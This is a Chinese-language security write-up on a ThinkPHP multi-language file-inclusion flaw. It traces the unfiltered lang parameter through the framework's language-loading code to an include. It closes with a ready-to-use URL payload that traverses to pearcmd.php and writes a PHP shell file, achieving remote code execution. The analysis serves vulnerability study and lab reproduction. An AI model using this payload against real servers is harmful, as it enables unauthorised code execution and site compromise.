影响范围

6.0.1 < ThinkPHP≤ 6.0.13

5.0.0 < ThinkPHP≤ 5.0.12

5.1.0 < ThinkPHP≤ 5.1.8

前提条件

  • 安装并已知pearcmd.php的文件位置。(默认位置 /usr/local/lib/php/pearcmd.php,Docker版本的镜像中pear默认安装)

  • 需要开启php.ini中register_argc_argv选项。(docker的PHP镜像是默认开启的)

  • thinkphp开启多语言功能 (app/middleware.php)

image-20240803224836677

  • 安装pear:

1、下载 go-pear.phar http://pear.php.net/go-pear.phar

2、执行 php go-pear.phar 设置1-12选项路径,安装。

  • 直接docker部署环境
1
docker run --name tp6 -p 8005:80 -d vulfocus/thinkphp:6.0.12

分析

从LoadLangPack这个类开始

image-20240805221247600

每个 middleware 的 handle() 方法都会被调用

1
2
3
4
5
6
7
8
9
10
11
12
13
public function handle($request, Closure $next)
{
// 自动侦测当前语言
$langset = $this->detect($request);

if ($this->lang->defaultLangSet() != $langset) {
$this->lang->switchLangSet($langset);
}

$this->saveToCookie($this->app->cookie, $langset);

return $next($request);
}

接着进入到detect()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
protected function detect(Request $request): string
{
// 自动侦测设置获取语言选择
$langSet = '';

if ($request->get($this->config['detect_var'])) {
// url中设置了语言变量
$langSet = strtolower($request->get($this->config['detect_var']));
} elseif ($request->header($this->config['header_var'])) {
// Header中设置了语言变量
$langSet = strtolower($request->header($this->config['header_var']));
} elseif ($request->cookie($this->config['cookie_var'])) {
// Cookie中设置了语言变量
$langSet = strtolower($request->cookie($this->config['cookie_var']));
} elseif ($request->server('HTTP_ACCEPT_LANGUAGE')) {
// 自动侦测浏览器语言
$match = preg_match('/^([a-z\d\-]+)/i', $request->server('HTTP_ACCEPT_LANGUAGE'), $matches);
if ($match) {
$langSet = strtolower($matches[1]);
if (isset($this->config['accept_language'][$langSet])) {
$langSet = $this->config['accept_language'][$langSet];
}
}
}

依次检查了GET header cookie ,没有任何过滤, 直接赋值给了 $langSet

然后默认的情况下allow_lang_list为空

image-20240805223124452

$langSet直接被赋值给了$range , 然后返回了$range
继续回到 handle()里面
if ($this->lang->defaultLangSet() != $langset)

image-20240805224025189

image-20240805223755079

如果返回的$range–>$langset不等于默认的zh-cn ,就会调用 $this->lang->switchLangSet($langset)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function switchLangSet(string $langset)
{
if (empty($langset)) {
return;
}

// 加载系统语言包
$this->load([
$this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php',
]);

// 加载系统语言包
$files = glob($this->app->getAppPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.*');
$this->load($files);

// 加载扩展(自定义)语言包
$list = $this->app->config->get('lang.extend_list', []);

if (isset($list[$langset])) {
$this->load($list[$langset]);
}
}

又调用了load()方法
传入的$file参数是拼接而成的

1
2
3
$this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php'

//DIRECTORY_SEPARATOR是一个PHP预定义常量,用于获取当前操作系统的目录分隔符

image-20240805225055542

也就是thinkphp路径/lang/ + 参数$langset + .php
传入到load()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function load($file, $range = ''): array
{
$range = $range ?: $this->range;
if (!isset($this->lang[$range])) {
$this->lang[$range] = [];
}

$lang = [];

foreach ((array) $file as $name) {
if (is_file($name)) {
$result = $this->parse($name);
$lang = array_change_key_case($result) + $lang;
}
}

if (!empty($lang)) {
$this->lang[$range] = $lang + $this->lang[$range];
}

return $this->lang[$range];
}

判断文件是否存在, 存在的话进入条件中 ,进一步又传入到$this->parse($name)
进入到parse()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
protected function parse(string $file): array
{
$type = pathinfo($file, PATHINFO_EXTENSION);

switch ($type) {
case 'php':
$result = include $file;
break;
case 'yml':
case 'yaml':
if (function_exists('yaml_parse_file')) {
$result = yaml_parse_file($file);
}
break;
case 'json':
$data = file_get_contents($file);

if (false !== $data) {
$data = json_decode($data, true);

if (json_last_error() === JSON_ERROR_NONE) {
$result = $data;
}
}

break;
}

return isset($result) && is_array($result) ? $result : [];
}

$type = pathinfo($file, PATHINFO_EXTENSION)返回文件的扩展名
显然是php
继续进入到 $result = include $file ,从而可以实现文件包含
从始至终都没有对传入的参数进行一个过滤

接下来就可以利用包含pearcmd.php进行rce了

知识点

当开启register_argc_argv时,提交的参数都会传入 $_SERVER[‘argv’]变量内

img

&无法分割参数,会被当作一个整体。等号也无法赋值,会被直接传进参数

当使用+号分割,将会作为数组,而pear执行是通过 readPHPArgv()来获取argv内容。
img

利用pearcmd.php进行命令执行

https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp

1
/?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php

https://bbs.kanxue.com/thread-276704.htm

https://tttang.com/archive/1865/#toc__3